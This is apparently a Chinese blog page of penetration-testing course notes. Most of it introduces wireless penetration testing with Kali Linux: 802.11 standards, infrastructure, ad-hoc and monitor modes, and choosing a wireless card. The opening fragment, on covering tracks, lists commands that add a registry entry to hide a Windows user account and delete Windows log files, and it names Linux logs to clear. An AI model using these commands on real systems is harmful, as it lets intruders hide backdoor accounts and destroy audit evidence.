      • REG ADD “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windoes NT\CurrentVersion\WinLogon\SpecialAccounts\UserList” /v uname /T
        REG_SWORD/D 0 (隐藏账号)
      • del %WINDIR%*.log /a/s/q/f
      • History
      • 日志
    • auth.log / secure
    • btmp / wtmp
    • lastlog / faillog
      • 其他日志和HIDS等

Kali Linux 从入门到精通(十一)–无线渗透测试

1.无线渗透概述

  • 与其他章节独立,涵盖面广,可独立成课
  • 无线技术变化块,难度大
  • 既新鲜刺激 难度大
    • 不会研究很深
  • 半理论,半实践
    • 理论是本章最有价值的部分(aircrack-ng suite 作者写的一本书)
  • 无线技术是本课程难度最大的一章
    • 协议结构
      2.无线技术特点
  • 行业迅猛发展
  • 互联网的重要入口
  • 边界模糊
  • 安全实施缺失而且困难
  • 对技术不了解而造成配置不当
  • 企业网络私自接入AP破坏网络边界
    3.IEEE:Institute of Elecrical and Electronics Engineers
  • IEEE分为不同的技术委员会,其中802委员会负责lan,man的制定
    • 以太网
    • 令牌环网
    • 无线局域网
    • 网桥
      4.无线(802.11)
  • 数据链路层
    • LLC
    • MAC
  • 物理层
  • IEEE 802.11 标准
    图片1
    图片4
    802.11b
    802.11A
    802.11G
  • 无线
    图片2
  • 日常使用
    图片3
    5.无线网络运行模式
  • 无线网络架构 (两种半方式)
  • a. Infrasture (基础架构型)
    • AP 维护SSID(服务级标识符–即无线名)
    • 至少包含一个AP和一个STATION,形成一个Basic Service Set(BSS) 基本服务集
    • AP连接到有线网络,称为Distribution System(DS)
    • 连接到同一个DS的多个AP形成一个Extended Service Set(ESS)
  • b. Ad-Hoc
    • STA 维护SSID
    • 也被称为Independent Basic Service Set(IBSS)
    • 有至少两个STAs直接通信组成
    • 也称为peer to peer模式
    • 其中一个STA负责AP的工作
      • 通过beacon广播SSID
      • 对其他STAs进行直接身份验证
  • Service Set Identifier(SSID)
    - AP每秒钟约10次通过Beacon帧广播SSID
    - 客户端连接到无线网络后也会宣告SSID  
  • WIRELESS DISTRIBUTION SYSTEM(WDS)
    • 与有限DS类似,只是通过无线连接的多个AP组成的网络
      • Bindging(桥接方式)-只有AP间彼此通信
      • Repeating(中继方式)-只允许所有AP和STA进行通信
  • c.MONITOR MODE(类似于有线网络的混杂模式,可抓住其他机器的流量)
    • Monitor 不是一种真的无线模式
      • 但是对无线渗透至关重要
      • 允许无线网卡没有任何筛选的抓包(802.11包头)
      • 与有线网络的混杂模式可以类比
      • 审核的网卡和驱动不但可以monitor,更可以Injection
      6.无线网络硬件设备及基本概念
      • 物理机运行kali
      • 虚拟机运行kali
      • 外置USB 无线网卡
      • TL-WN722N(个人建议)
      • dmseg
      • iwconfig
      7.选择无线网卡
  • 这是个痛苦和受挫的过程
  • 无线网卡的芯片和型号是成败的关键
  • 台式机:
    • USB 无线卡 (不支持扩展天线)
    • PCMCIA(16 bit 已停产)
    • Cardbus(32 bit PCMCIA 8.0标准)
    • Express Cards
    • MiniPCI
    • MiniPCI Express
  • 发送功率:远程连接
  • 接收灵敏:适当降低灵敏度,接收效果更佳
  • 经验但不是铁律
  • 无线渗透网卡没有所谓标准,但是Aircrack-ng suite 作者给出建议
  • Alfa Networks AWUS036H 无线网卡
    8.无线技术概念

9.Linux无线协议栈及配置命令

10.RADIOTAP头






评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×